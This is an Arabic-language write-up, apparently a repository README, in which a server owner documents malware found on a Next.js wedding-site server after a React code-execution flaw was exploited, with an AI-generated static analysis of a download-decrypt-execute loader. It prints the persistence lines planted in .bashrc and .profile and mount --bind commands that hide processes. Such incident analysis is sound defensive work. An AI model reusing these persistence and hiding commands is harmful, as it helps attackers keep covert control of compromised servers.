
برمجية ضارة وجدتها على خادمي
هذه تفريغة للبرامج الضارة وغيرها من المواد المشبوهة التي وجدتها على خادم موقع زفافي بعد استغلال ثغرة تنفيذ الكود من جانب الخادم في React. إنها Droplet صغيرة على Digital Ocean تدير تطبيق Next.js عاديًا إلى حد ما.
CVE: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
سجل لنشاط الخادم يظهر ارتفاعات وأشياء مختلفة:

يبدو أن الشيء الرئيسي الخبيث هو هذا المثبت في /.local/share/.r0qsv8h1
في bashrc الخاص بي:
# System
(nohup /.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
لاحظ أن أوامر pgrep موجودة لمنع هذا البرنامج الضار المزيف الآخر "meshagent" من العمل. يمكنك القراءة عنه في مستند MESHAGENT.md.
في ملف profile الخاص بي يوجد نفس الشيء
# App
(/.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
يمكنك رؤية خدمات مشبوهة أخرى في SUSPICIOUS_SERVICES.md
إليك تحليل لهذا البرنامج الضار الرئيسي:
يحتوي الدليل bad على بيئة تشغيل Node.js مستقلة مع مجموعة من ملفات JavaScript شديدة التعتيم.
كل الأدلة تشير إلى أن هذا هو برنامج ضار يقوم بالتنزيل يتصل بصمت بخادم بعيد، ويحمل حمولة مشفرة، ويفك تشفيرها، ويكتبها على القرص، وينفذها كعملية خلفية منفصلة. يقوم الكود أيضًا بفحص الخادم بشكل دوري للحصول على تحديثات.
الحمولة المشفرة بـ Base64 في .5f8562 تفك تشفيرها إلى:
{
"0": "c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c",
"1": ".fvq2lzj6te.js",
"3": 1765307786421,
"4": "desktop"
}
"1" يشير إلى البرنامج النصي الرئيسي المحمل (المعتم)."0" هو UUID يُستخدم على الأرجح بواسطة الخادم البعيد للتتبع."3" هو طابع زمني (مللي ثانية من Unix epoch) يشير إلى وقت إنشاء البيان."4" يشير إلى الموقع المقصود (desktop)، مما يوحي بأن الحمولة قد تحاول إخفاء نفسها هناك.node .5f8562)، يشير البيان إلى .fvq2lzj6te.js.setInterval بتكرار تسلسل التنزيل-فك التشفير-التشغيل بشكل دوري، مما يسمح للمهاجم بدفع حمولات جديدة أو محدثة دون تدخل إضافي من المستخدم.PATH، cwd، إلخ) وقد تقوم بأفعال ضارة نموذجية مثل التعدين المشفر، أو سرقة بيانات الاعتماد، أو تنفيذ أوامر عن بعد..r0qsv8h1 بالكامل وأي ملفات قد يكون أنشأها (تحقق من مجلد Desktop والمجلدات المؤقتة للمستخدم بحثًا عن ملفات تنفيذية تم إنشاؤها حديثًا).تم إجراء هذا التحليل تلقائيًا بواسطة مساعد ذكاء اصطناعي بناءً على فحص ثابت للملفات الموجودة في الدليل. لم يتم إجراء أي تنفيذ أثناء التشغيل.
يمكنك قراءة المزيد في DEOBFUSCATE.md
| الملف | الوصف |
|---|
.394ly8v9/README.md | README قياسي لـ Node.js – غير مرتبط بالوظائف الضارة؛ موجود فقط لجعل الحزمة تبدو مشروعة. |
.fvq2lzl64e.js | ~5 كيلوبايت من JavaScript معتم. يقوم ببناء طلب HTTP من نوع JSON‑RPC، ويستقبل حمولة مشفرة بـ base64، ويفك تشفيرها باستخدام تشفير مخصص، ويكتب الحمولة إلى ملف عشوائي، وينفذها عبر child_process.spawn / execSync. كما يقوم بإطلاق عملية خلفية منفصلة تستقصي الخادم البعيد بشكل متكرر. |
.lauphhtqrg.js | ~13 كيلوبايت من JavaScript معتم. ينفذ حلقة تنزيل-فك تشفير-تشغيل مماثلة مع تشفير خاص بها من نوع RC4 (dec). يكتب الحمولة المفكوكة إلى اسم ملف مولّد ويشغلها. يضبط مؤقتًا لجلب حمولات جديدة لاحقًا. |
.5f8562 | سلسلة Base64 بنص عادي. تفك تشفيرها إلى بيان JSON صغير: json { "0":"c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c", "1":".fvq2lzj6te.js", "3":1765307786421, "4":"desktop" } يخبر هذا البيان المحمّل بأي برنامج نصي ينفذ (.fvq2lzj6te.js) ويوفر معرّفًا/طابع زمني. |
.b0rtqscrkeov | لم يتم فحصه بعد، لكن نمط التسمية يشير إلى أنه مكون آخر من نفس السلسلة الضارة. |
bin/node وملفات lib/ المرافقة | بيئة تشغيل Node.js كاملة، مما يسمح للبرامج النصية بالعمل على النظام حتى إذا لم يكن Node.js مثبتًا. |